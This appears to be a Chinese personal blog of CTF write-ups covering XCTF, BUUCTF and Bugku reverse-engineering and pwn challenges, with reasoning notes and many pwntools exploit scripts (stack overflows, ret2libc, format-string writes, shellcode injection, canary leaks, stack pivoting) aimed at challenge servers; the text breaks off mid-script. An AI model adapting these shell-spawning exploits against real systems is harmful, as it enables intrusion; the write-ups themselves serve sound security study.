0%

攻防世界Re进阶区

Shuffle

查,32位,直接拖IDA,看到定义了很多字符,尝试按个R

image-20210721213826289

直截了当的flag

dmd-50

查后64位,拖IDA,跟上一题好像,也是定义一堆字符。按R

image-20210721215004064

往上翻翻看见了md5,先拿去解密

image-20210721215101094

好短啊感觉不太像。查看wp,得知它需要用md5加密后提交,但是要小写的

image-20210721215139018

Guess-the-Number

拿到jar包肯定看Java源码

image-20210721210928845

直接除以5取整数可求得guess_number309137378

接下来打开jar包,要用唯一路径打开,输入得到的number

image-20210721211043876

answer_to_everything

知识补充:SHA1加密算法_

64位elf,IDA

image-20211102161336660

直接分析可知道kdudpeh就是flag,但是没交对,根据puts的内容可以知道他提交的是一个密码,所以kdudpeh要拿去加密,又根据题目得知有关于SHA1,所以直接拿去加密sha1在线解密 在线加密 (ttmd5.com)

sha1(kdudpeh)= 80ee2a3fe31da904c596d993f7f1de4827c1450a

666

IDA直接进encode

image-20211102165006801

for循环里是加密方式,很简单。跟进key得知长度为0x12即18

image-20211102165206372

随后往上看见了加密字符串,提取出来直接逆向

1
2
3
4
5
6
7
8
enflag=[ 0x69, 0x7A, 0x77, 0x68, 0x72, 0x6F, 0x7A, 0x22, 0x22, 0x77,
0x22, 0x76, 0x2E, 0x4B, 0x22, 0x2E, 0x4E, 0x69, 0x00]
flag=''
for i in range(0,18,3):
flag+=chr((18^enflag[i])-6)
flag+=chr((18^enflag[i+1])+6)
flag+=chr(18^enflag[i+2]^6)
print(flag)

知识补充:异或的运算优先级小于+和-,在写脚本的时候需要用小括号括起来。

srm-50

绕弯签到题,查完没问题直接IDA很清楚看到

image-20211103170148890

按照数组的正常顺序重新排就是flag了

CZ9dmq4c8g9G7bAX

Mysterious

签到题,照例无问题IDA

image-20211103171351361

知识补充:C 库函数 – strcat() | 菜鸟教程 (runoob.com)

flag{123_Buff3r_0v3rf|0w}

re1-100

常规IDA

image-20211103173633113

直接交是错的,跟进confuseKey

image-20211103173751044

知识补充:C 库函数 – strncpy() | 菜鸟教程 (runoob.com)

意思就是把上述看到的字符串分成四个部分,每部分十个字符,然后再按照下面的顺序重新排列

所以分好是 daf29f5903(dest) 4938ae4efd(v7) 53fc275d81(src) 053ed5be8c(v15)

按要求排好就是 53fc275d81053ed5be8cdaf29f59034938ae4efd

secret-galaxy-300

wp参考:(14条消息) CTF-攻防世界-Reverse-(secret-galaxy-300)_Beglage-CSDN博客

IDA主函数没东西,搜字符串发现

image-20211103180046239

追这串字符串的所在函数

image-20211103180214773

全是赋值操作,又有有关字符。其中可能藏着flag

然后用OD动调在开始和结束处设置断点 之后调试一波就出来了

image-20211103180329803

buu

rip

知识补充:pwn远程的时候遇到 timeout: the monitored command dumped core 怎么办_

照例一波

image-20210810163325029

啥也没开,直接IDA

image-20210810163356348

有/bin/sh,记录覆盖地址,接着跟进main

image-20210810163422612

栈溢出

image-20210810163445944

15+8=23

exp

1
2
3
4
5
from pwn import *
p=remote("node4.buuoj.cn",25720)
payload = b'a'*23+p64(0x401185)+p64(0x401186)
p.sendline(payload)
p.interactive()

csaw2016

照例

image-20210810170430280

啥也没开估计也是栈溢出,IDA

image-20210810170459054

栈溢出

image-20210810170529733

image-20210810170538184

40+8=48

接下来没发现/bin/sh,但是有这个

image-20210810170857375

同样可以返回它的地址拿shell,然后它找到压栈的地址

image-20210810171117509

exp

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",29116)
sys=0x400611
payload = 'a'*0x48+p64(sys)
p.sendline(payload)
p.interactive()

ciscn2019

照例

image-20210810173707633

说值应该是11.28125,输了后也没啥事

IDA

image-20210810173741252

栈溢出,用v1的值覆盖v2

image-20210810173814473

image-20210810173821370

v1与v2之间为0x30-0x4,先填满,然后再直接打11.28125的地址就行了。因为返回的值为11.28125,在IDA里以十六进制储存。就是0x41348000

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",25804)
sys=0x41348000
payload = 'a'*(0x30-0x4)+p64(sys)
p.sendline(payload)
p.interactive()

sctf2016

照例

image-20210810174622785

IDA

image-20210810223418346

虽然fgets那里有规定输入长度32,但是发现strcpy,存在栈溢出,不过大致看了一会儿并不会,看wp

得知这一串内容是让“you”代替“I”,意思是只要“you”的值覆盖掉输入“I”的长度即可,而“you”是3个字符,满足32就用20个“I”然后就变成60个字符造成溢出,再然后加上最后的4

image-20210811013323435

接下来找到后门

image-20210811013105693

exp

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",25454)
sys=0x08048f0d
payload = b'I'*20+b'a'*4+p64(sys)
p.sendline(payload)
p.interactive()

ciscn2019_c_1

wp参考: BUUCTF——ciscn_2019_c_1_

ciscn_2019_c_1 | LiuLian (liul14n.top)

照例

image-20210814215923374

IDA

image-20210814233352397

跟进encrypt

image-20210814233419966

gets里可以利用溢出,但是跟进不了v2是因为程序会对我们输入的字符串v2进行一系列异或操作。

image-20210814234919460

再看到下面的++x;,然后也可以推测出x的初始值为0。

这也就是说,只有当我们输入的字符串的长度大于x的值的时候,才会执行这一系列异或操作。

所以如果我们输入两次长度相等的字符串,那么只会对第一次输入的字符串进行异或。

image-20210814233857309

然后这题没有system,就是ret2libc的题型

由于是64位程序传参先找到rdi

1
ROPgadget --binary ciscn2019c1 --only "pop|ret" | grep rdi

image-20210814234658247

然后由于Ubuntu18运行机制与前面版本的不同,因此调用system需要栈对齐,这里填充ret来对齐

1
ROPgadget --binary ciscn2019c1 |grep ret

image-20210814235141594

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',25488)
elf=ELF('./ciscn2019c1')

rdi=0x400c83
main = 0x400b28
ret=0x4006b9

#输出的是plt和got表地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

#第一次payload输出puts_got的内容,我们得控制程序执行流
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#让它返回到main函数,这样我们才可以再一次利用输入点构造rop
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

#接收程序返回的地址
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#不满8位的用0补足
print hex(puts_addr)

#构造rop
libc=LibcSearcher('puts',puts_addr)#找到libc版本
offset=puts_addr-libc.dump('puts')#算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

#第二次payload,实现交互
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()

PWN5

照例

image-20210815225707104

IDA

image-20210815225729946

格式化字符串漏洞,根据if语句分析要改写unk_804C044之中的数据,然后输入数据对比atoi就行。

跟进

image-20210815230104471

记录下地址

测偏移量

image-20210815230158791

数一下是10,又知道长度是4个字节,那么任意写就可表示为

1
%10$hhn%11$hhn%12$hhn%13$hhn

然后前边加上任写的地址就行

exp

1
2
3
4
5
6
7
8
from pwn import *
#from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',26137)
addr = 0x0804C044
payload= p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
r.sendline(payload)
r.interactive()

思路二: 第五空间2019 决赛]PWN5 (jianshu.com)

用fmtstr构造更快,思路是利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',26137)
elf=ELF('./pwn')

#改写atoi的got地址,将其改为system的地址
atoi_got=elf.got['atoi']
system_plt=elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

r.sendline(payload)

r.interactive()

babyrop

32位ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',28218)
#r=process('./pwn01')
elf=ELF('./pwn01')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825


payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)

r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')


r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

ciscn2019n8

保护全开,IDA

image-20211020203126501

简单易懂,令var[13]=17就行

知识补充:qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它是word的四倍,8字节

1
2
3
4
5
6
7
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',29558)
payload=b"aaaa"*13+p32(17)
r.sendline(payload)
r.interactive()

level2

遇到timeout了,再加一遍地址

1
2
3
4
5
6
7
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',26843)
payload=b"a"*140+p32(0x08048320)+p32(0x08048320)+p32(0x0804A024)
r.sendlineafter("Input:",payload)
r.interactive()

get_started_3dsctf_2016

wp参考:[(9条消息) BUUCTF]PWN11——get_started_3dsctf_2016_mcmuyanga的博客-CSDN博客_get_started_3dsctf_2016

这题的主要方法就是利用ret持续控制程序

知识补充:

mprotect()函数:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

not_the_same_3dsctf_2016

wp参考:not_the_same_3dsctf_2016来自BUUCTF - Mua_Uncle_W - 博客园 (cnblogs.com)

知识补充:fopen,fgets函数,用fopen将flag.txt文件读取,fgets存放到f14g里面

image-20211021151827895

跟进可知他在.bss段image-20211021152138878

可以作为覆盖地址

垃圾数据填充 get_secret函数的地址 write函数的地址 fl4g变量的位置 最后是write函数的参数

1
2
3
4
5
6
7
8
9
from pwn import *
from LibcSearcher import *
r=remote("node4.buuoj.cn",26002)
elf=ELF('./same')
flag_add=0x080ECA2D
get_secret=0x080489a0
payload='a'*0x2D+p32(get_secret)+p32(elf.symbols['write'])+p32(flag_add)+p32(0)+p32(flag_add)+p32(45)
r.sendline(payload)
r.interactive()

ciscn_2019_n_5

.bss段上name可利用为/bin/sh

然后就是简单的栈溢出

img

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*

r=remote('node4.buuoj.cn',28304)

context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)

payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)

r.interactive()

others_shellcode

IDA发现是getshell利用shellcode,直接nc

ciscn_2019_ne_5

‘sh’也可以拿shell,不一定是/bin/sh

ROPgadget查字符串

1
ROPgadget --binary ciscn2019ne5 --string 'sh'

image-20211023212427788

然后IDA,主函数是一堆选项

image-20211023213232716

image-20211023213057682

意思是最后是要退回到GetFlag里执行栈。

跟进GetFlag有strcpy函数,栈溢出。分别跟进dest和src

image-20211023212746980

image-20211023212505052

image-20211023212853269

所以在shell前加8字节才能覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

r=remote('node4.buuoj.cn',29146)
r.recvuntil("Please input admin password:")
r.sendline( "administrator")
r.recvuntil("0.Exit\n:")
r.sendline("1")
sys=0x080484d0
sh=0x080482ea
payload='a'*76+p32(sys)+'aaaa'+p32(sh)
r.recvuntil("Please input new log info:")
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()

bjdctf_2020_babyrop

64位简简单单的ret2libc,直接套模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
from LibcSearcher import *
#io=process('./pwn07')
#context(arch='amd64',os='linux',log_level='debug')
r=remote('node4.buuoj.cn',27518)
elf=ELF('./bjdbabyrop')

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()

pwn2_sctf_2016

wp参考:[BUUCFT]PWN——pwn2_sctf_2016 - Angel-Yan - 博客园 (cnblogs.com)

image-20211026173858837

IDA

image-20211026174310934

发现溢出点

image-20211026175946526

跟进atoi,发现整数溢出

image-20211026174359554

unsigned int,int等都可以利用整数溢出实现缓冲区溢出攻击。输入负数,绕过长度限制,造成溢出

没system,用ret2libc打,换printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',26337)
elf=ELF('./pwn2sctf')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')#输入-1的话会成为4294967295造成溢出
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

jarvisoj_fm

先查

image-20211026183855261

IDA

image-20211026183908484

标准最简单的格式化字符串

经典测偏移

image-20211026183942799

11

1
2
3
4
5
6
7
from pwn import *
#context(arch = 'amd64', os = 'linux')
r=remote("node4.buuoj.cn",26189)
x_addr=0x0804a02c
payload=p32(x_addr)+'%11$n'
r.send(payload)
r.interactive()

bjdctf_2020_babystack2

标准的简单整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
#r = process("./CGfsb")
r=remote("node4.buuoj.cn",29824)

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')
backdoor=0x400726
payload='a'*24+p64(backdoor)
r.sendline(payload)

r.interactive()

baby_rop2

wp参考:[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2 - Angel-Yan - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

知识补充:栈迁移 - SkYe Wiki (mrskye.cn)

wp参考:pwn-ciscn_2019_es_2(栈迁移) - remon535 - 博客园 (cnblogs.com)

ciscn_2019_es_2 - mio_yy - 博客园 (cnblogs.com)

栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈

leave=mov esp,ebp

pop ebp

ret=pop eip

image-20211027201100380

IDA跟进vul发现溢出点

image-20211027201155997

溢出的空间不足。read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret。使用栈迁移解决栈空间不足的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context.log_level='debug'


#p=remote('node4.buuoj.cn',27101)
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
sys_plt=0x8048400
leave_ret=0x8048562

py='a'*0x27
p.sendlineafter('name?\n',py)
p.recvuntil('\n')
ebp=u32(p.recv(4))

payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh'
payload=payload.ljust(0x28,'\0')
payload+=p32(ebp-0x38)+p32(leave_ret)
p.sendlineafter('\n',payload)
#gdb.attach(p)

p.interactive()

jarvisoj_tell_me_something

有fopen函数,相当于backdoor

1
2
3
4
5
6
7
8
from pwn import *
#p = process('./guestbook')
p = remote('node4.buuoj.cn', 29850)
sh = 0x0400620
payload = 'a'*0x88 + p64(sh)
p.recvuntil("message:")
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

法一:peta调试。wp参考(13条消息) ez_pz_hackover_2016_沫忆末忆的博客-CSDN博客_ez_pz_hackover_2016

image-20211101203620034

NX也没开,第一时间想到用ret2shellcode打,运行看

image-20211101203803396

IDA里跟进chall,是主结构

image-20211101203707855

没后门,保护全关,确定ret2shellcode。看代码得知,先打印出的来的地址是s的缓冲区地址,接收一个大小不超过1023字节的输入到s缓冲区,然后将缓冲区里换行符后面的内容全部置为0,最后将缓冲区内容与”crashme”这个字符串作比较,如果相同就会进入到vuln函数(这里很明显s是无法溢出的)

image-20211101204410194

memcpy函数,将第一个参数长度的内容复制到dest

所以。因为输入到s缓冲区的内容长度不够,无法实现溢出,利用vuln函数就可以把构造好的shellcode放入到栈中进行执行,要执行shellcode则要知道shellcode的地址,而chall函数在执行时就已经把s缓冲区的地址打印出来,最后计算s缓冲区和shellcode地址的相对偏移量,动调计算偏移就会得到shellcode的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'

#p = process('./ez_pz_hackover_2016')
p = remote('node4.buuoj.cn', 29966)

shellcode = asm(shellcraft.sh())

p.recvuntil('lets crash: ')
stack_addr = int(p.recv(10), 16)
shellcode_addr = stack_addr-28

payload = 'crashme\x00'.ljust(26,"\x00")+p32(shellcode_addr)+shellcode
p.sendlineafter("> ",payload)

p.interactive()

法二:pwndbg调试。wp参考BUUCTF]PWN——ez_pz_hackover_2016 - Angel-Yan - 博客园 (cnblogs.com)

利用思路也是往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行

接下来动调,找vuln函数里一个nop下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点

p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print(hex(stack))

payload='crashme\x00'+'aaaa'#前面的crashme\x00绕过if判断
#后面的aaaa是测试数据,去栈上找它的地址
#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)

pause()

执行脚本,c执行到断点处,查看栈的布局情况 stack 30

image-20211102150836424

ebp位置:0x38

返回地址是ebp下面即:0x3c(刚好是0x38+4)

输入参数的位置:0x22(看的到”ashme”,“cr”在前面,它们的ascii码是63和72,72 63分别对应0x23,0x22,后两位依次是0x21,0x20)

所以ebp是距离输入点的0x38-0x22=0x16,shellcode位置写在他之后即0x16+4=0x1a(32位下ebp占4字节)

最后找shellcode导向的地址就行了!

首先,调试输出来的地址就是s的地址,保存在了stack变量中

image-20211102150912458

而shellcode要导向的地址,也就是栈溢出覆盖后返回地址的下面,所以shellcode是0xffa28110,那么shellcode的地址在0xffa28110也就是s上面即 0xffa2812c-0xffa28110=0x1c的位置,即address=stack-0x1c。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *


r=process('./ez_pz_hackover_2016')
context.log_level='debug'

#gdb.attach(p,'b *0x8048600')

r.recvuntil('crash: ')
stack=int(r.recv(r10),16)
shellcode=asm(shellcraft.sh())
#print hex(stack)

payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode#其中有8个字节是"crashme\x00”,所以减个8
r.sendline(payload)

#pause()

r.interactive()

ctfhub

bugku

read_note

照例

image-20210804161834106

但是。。直接运行

image-20210804161915718

我人傻了,交了就是

正规解法:Bugkupwn3

pwn4

wp参考:bugku pwn4 canary)

照例

image-20210805000302137

IDA

image-20210805000323715

跟进buf

image-20210805000406725

image-20210805000413778

char buf; // [rsp+10h] [rbp-240h]

0x240-0x8=0x238 换算成十进制为568

image-20210805001801297

所以第一个覆盖点用“a*568”或者0x238

跟进v5

image-20210805000449958

image-20210805000500127

char v5; // [rsp+40h] [rbp-210h]

0x210-0x8=0x208 换算成十进制为520

image-20210805001912276

所以第二个覆盖点用“a*520”或者0x208

记录下system地址0x400660

image-20210805004126641

找canary

image-20210805002605859

关注以下两条语句:

.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax

canary存在rbp+var_8,可以在0x40082C下断点进行gdb动调

image-20210805002723261

单步跟发现

image-20210805002752813

可以观察,随后会把rax的值放在rbp-8的位置,同时也证明我们找canary位置是对的,即rbp-8的位置

所以现在的思路是首先依据第一次回显泄露canary的值,第二次通过利用泄露的canary值实现栈溢出。

64位程序优先通过寄存器rdi传参,所以先找rdi,利用ROPgadget

1
ROPgadget --binary pwn4 --only "pop|rdi|ret"

可以找到如下结果

image-20210805003120339

发现rdi,记录地址0x400963

但是少个/bin/sh,不过ROPgadget有读取字符串地址的功能

1
ROPgadget --binary pwn4 --string '/bin/sh'

image-20210805003328571

记录下地址0x601068

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#r=process("./pwn4")
r=remote("114.67.246.176 ",14314)
#context.log_level = 'debug'
r.recvuntil("Please leave your name(Within 36 Length):")
r.sendline("A"*568)
r.recvuntil("A"*568+"\n")
canary=u64('\x00'+r.recv(7))
sys = 0x400660
rdi = 0x400963
sh =0x601068
payload = 'A'*520+p64(canary)+p64(0x1)+p64(rdi)+p64(sh)+p64(sys)
r.recv()
r.sendline(payload)
r.interactive()

image-20210805004328310

pwn5

照例

image-20210805193718204

直接IDA

image-20210805193757724

简单的栈溢出image-20210805193820581

0x20+8

64位文件下找rdi地址,用ROPgadget

1
ROPgadget --binary pwn5 --only "pop|ret" | grep rdi

image-20210805193926401

IDA找到system地址和/bin/sh地址

image-20210805194023386

image-20210805194031029

exp就有了

1
2
3
4
5
6
7
8
9
10
from pwn import *
#r=process("./pwn2")
r=remote("114.67.246.176 ",15226)
#context.log_level = 'debug'
sys=0x401050
sh=0x0000000000402004
rdi=0x000000000040126b
payload='a'*0x20+'a'*8+p64(rdi)+p64(sh)+p64(sys)
r.sendlineafter("Please Input your name.",payload)
r.interactive()

image-20210805194134698

pwn7

wp参考:[pwn07 - Bugku CTF](

攻防世界pwn进阶区

Mary_Morton

本题利用思路是先用格式化字符串漏洞泄露canary,之后利用栈溢出,让其返回到后门。

开局经典测格式化字符串的偏移

image-20211102203929373

step=6

canary的偏移,距离是 0x90-8=0x88,填满覆盖canary。之后是0x88/8=17(64位每个格式化字符串8字节,除以8就是一个的),最后17+6=23,leak_canary

image-20211102203440387

栈溢出直接返回后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#r=process("./pwn4")
r=remote("111.200.241.244",56994)
#context.log_level = 'debug'
r.recvuntil("3. Exit the battle ")
r.sendline('2')
leak_canary='%23$p'
r.sendline(leak_canary)
r.recvuntil('0x')
canary=int(r.recv(16),16)#接收16个字节,以16进制打印
print (canary)
sh=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(sh)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)
r.interactive()

forgot

image-20211102212959367

这题其实看着简单,考眼力。。

image-20211102213036065

观察scanf发现v2可以溢出

image-20211102213204003

分析函数的最后发现很明显就用v2覆盖v3,造成栈溢出。由代码看出v2v3之间0x74-0x54=0x20

然后有后门就直接ROP打了

1
2
3
4
5
6
7
8
from pwn import *
p=remote('111.200.241.244',55503)
p.recvuntil("> ")
p.sendline('1')
payload='A'*0x20+p32(0x080486cc)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()

warmup

wp参考:(13条消息) 攻防世界PWN进阶区(warmup)_BurYiA的博客-CSDN博客

知识补充:模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。fuzz也就是盲打,在啥也没给的情况下一般就是fuzz

直接nc,发现有输出一个地址,还有输入点

image-20211103161054528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
#fuzz模块,分三种情况(不用他的地址,p32发,p64发)
def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote("111.198.29.45", 46588)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(i)+' flag='+str(j))
r.interactive()
except:
r.close()

if __name__ == '__main__':
main()

脚本跑完就出来了

攻防世界pwn新手区

hello_pwn

照例查

image-20210731224644451

IDA

image-20210731224814074

分析if语句知道当dword_60106C=1853186401可以cat flag

可知unk…与dword…这俩变量都在.bss段,相隔4个字符,unk…是由我们输入的,可以利用其覆盖dword…的值就行,ROP直接打掉

image-20210731224955916

exp:

1
2
3
4
5
6
7
8
from pwn import *

r=remote('111.200.241.244',53218)

payload='a'*4+p64(1853186401)
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print r.recv()

level2

常规

image-20210802140340867

IDA

image-20210802140432092

跟进

image-20210802140447125

读0x100,明显栈溢出,如出一辙跟进buf

image-20210802140530666

image-20210802140542783

所以buf距离ret的长度为0x88+0x04

发现system和/bin/sh,记录地址

image-20210802140709214

image-20210802140720269

将返回地址跳转至system函数再压入参数/bin/sh可以获得控制权

但是自己写exp的时候错了,查看wp发现漏了个p32(0)

1
2
3
4
5
6
7
8
from pwn import *

r=remote('111.200.241.244',65098)
sys=0x08048320
sh=0x0804A024
payload='a'*0x88+'a'*4+p32(sys)+p32(0)+p32(sh)
r.send(payload)
r.interactive()

image-20210802141016367

string

照例分析

image-20210802213323993

往下运行

image-20210802213432276

是一个很长的文字游戏,输到最后直接就结束了,拖IDA

image-20210802213507980

大致分析得出v4是关键变量,跟进其函数

image-20210802213600097

这就是那个界面了,三个函数分别点进去

image-20210802213639203

第一个没什么用应该

image-20210802213916017

第二个,看见printf,是有一个格式化字符串漏洞

image-20210802214052838

第三个,if语句分析知道是要令a1=a1[1](a1是啥不知道)

最后得知,a1就是v4,可以利用函数指针来调用系统函数system(“/bin/sh”)来获取控制权限,但是system(“/bin/sh”)并不能被函数指针所理解,这里应该转化成机器码,用asm(shellcraft.sh())

回溯到main

image-20210802215639897

只需要将v3[0] = 85或者v3[1] = 68,就是通过格式化字符串漏洞使数组的前两个数相等就可以调用函数了。这里选择是前者

需要注意的是:

image-20210802220029709

这个是64位,前六个参数放寄存器,第七个参数开始放在栈中所以偏移量是7

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch = 'amd64', os = 'linux')#这个不能少
r = remote("111.200.241.244", 51763)
r.recvuntil("secret[0] is ")
addr = int(r.recvuntil("\n")[:-1], 16)

r.sendlineafter("What should your character's name be:\n", "aaa")
r.sendlineafter("So, where you will go?east or up?:\n", "east")
r.sendlineafter("go into there(1), or leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'", str(addr))

r.recvuntil("And, you wish is:\n")
payload = 'a' * 85 + "%7$n"
r.sendline(payload)

shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

image-20210802221002513

guess_num

知识补充:C++ rand 与 srand 的用法

照例

image-20210802221746792

运行

image-20210803001619619

拖IDA

image-20210803001804263

image-20210803001950624

循环,根据随机数计算的法则输入十个数,不相同就GG,相同就cat flag

考点为栈溢出

image-20210803015022245

中间隔着0x20加seed四个字节

选择用“aaaa”覆盖掉seed,但是写脚本的时候要把aaaa转为十六进制即0x61616161

在Linux里根据IDA里随机数的计算法则写伪随机数脚本

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
int main(){
int a, i;
srand(0x61616161);
for(i=0;i<10;i++){
a=rand()%6+1;
printf("%d\n",a);
}
return 0;
}

运行出来得到

image-20210803015410884

直接完成一个简单的exp脚本

1
2
3
4
5
6
7
8
9
